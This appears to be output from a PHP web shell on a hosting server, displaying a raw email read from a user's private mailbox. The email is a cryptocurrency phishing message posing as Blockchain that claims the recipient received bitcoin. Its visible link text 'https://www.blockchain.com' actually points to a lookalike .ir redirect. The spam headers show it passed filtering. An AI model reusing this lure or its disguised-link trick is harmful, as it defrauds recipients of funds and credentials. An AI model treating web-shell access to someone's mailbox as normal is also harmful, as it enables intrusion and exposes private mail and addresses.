HEX
Server: Apache
System: Linux zacp120.webway.host 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: govancoz (1003)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/govancoz/mail/new/1748380638.M386863P3514585.zacp120.webway.host,S=5148,W=5263
Return-Path: <www-data@mihov.info>
Delivered-To: govancoz@zacp120.webway.host
Received: from zacp120.webway.host
	by zacp120.webway.host with LMTP
	id AJkeFt4rNmjZoDUA8rC0kQ
	(envelope-from <www-data@mihov.info>)
	for <govancoz@zacp120.webway.host>; Tue, 27 May 2025 23:17:18 +0200
Return-path: <www-data@mihov.info>
Envelope-to: cheryl@govan.co.za
Delivery-date: Tue, 27 May 2025 23:17:18 +0200
Received: from 46-10-159-30.ip.btc-net.bg ([46.10.159.30]:53680 helo=mihov.info)
	by zacp120.webway.host with esmtp (Exim 4.98.1)
	(envelope-from <www-data@mihov.info>)
	id 1uK1fg-0000000ElcR-1Lqs
	for cheryl@govan.co.za;
	Tue, 27 May 2025 23:17:18 +0200
Received: by mihov.info (Postfix, from userid 33)
	id 00DE3362AAA; Tue, 27 May 2025 13:10:11 +0300 (EEST)
Date: Tue, 27 May 2025 13:09:30 +0300
To: cheryl@govan.co.za
From: Blockchain <notify@wallet-tx.blockchain.com>
Subject: You've just received fund
Message-ID: <e67bd897ee7dde1690854decf1a6e020@wallet-tx.blockchain.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="118bd359d8e519e5cd1c5ab70cac79967"
Content-Transfer-Encoding: 8bit
X-Spam-Status: No, score=2.7
X-Spam-Score: 27
X-Spam-Bar: ++
X-Ham-Report: Spam detection software, running on the system "zacp120.webway.host",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  You've received 2.8663222 BTC into your Private Key Wallet.
    You are required to click on our website and follow prompt to complete transaction
    confirmations. https://www.blockchain.com 
 Content analysis details:   (2.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: blockchain.com]
                             [URI: kiiato.ir]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 TVD_RCVD_IP            Message was received from an IP address
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [46.10.159.30 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [46.10.159.30 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [46.10.159.30 listed in sa-trusted.bondedsender.org]
  0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
                             domains are different
  0.1 HTTPS_HTTP_MISMATCH    BODY: No description available.
  0.0 HTML_MESSAGE           BODY: HTML included in message
  2.6 RDNS_DYNAMIC           Delivered to internal network by host with
                             dynamic-looking rDNS
  0.0 PDS_RDNS_DYNAMIC_FP    RDNS_DYNAMIC with FP steps
X-Spam-Flag: NO

This is a multi-part message in MIME format.

--118bd359d8e519e5cd1c5ab70cac79967
Content-Type: text/plain; charset=us-ascii



You've received 2.8663222 BTC into your Private Key Wallet. 



You are required to click on our website and follow prompt to complete transaction confirmations. 
https://www.blockchain.com 


 



--118bd359d8e519e5cd1c5ab70cac79967
Content-Type: text/html; charset=us-ascii

<html><head></head><body>
<div align="middle">
<h1 style="font-family: Inter, Helvetica, Arial, sans-serif, serif, EmojiFont; font-size: 26px; line-height: 1; margin-top:20px; text-align: middle; color: rgb(0, 0, 0);">You've received 2.8663222 BTC into your Private Key Wallet. </h1>
</div>
<p align="middle" style="font-family: Inter, Helvetica, Arial, sans-serif, serif, EmojiFont; font-size: 16px; line-height: 1; margin-top:30px; text-align: middle; color: rgb(0, 0, 0);">

<br>You are required to click on our website and follow prompt to complete transaction confirmations. 
<a href="https://kiiato.ir/redir.html">https://www.blockchain.com</a> 

</p>
 

</body></html>



--118bd359d8e519e5cd1c5ab70cac79967--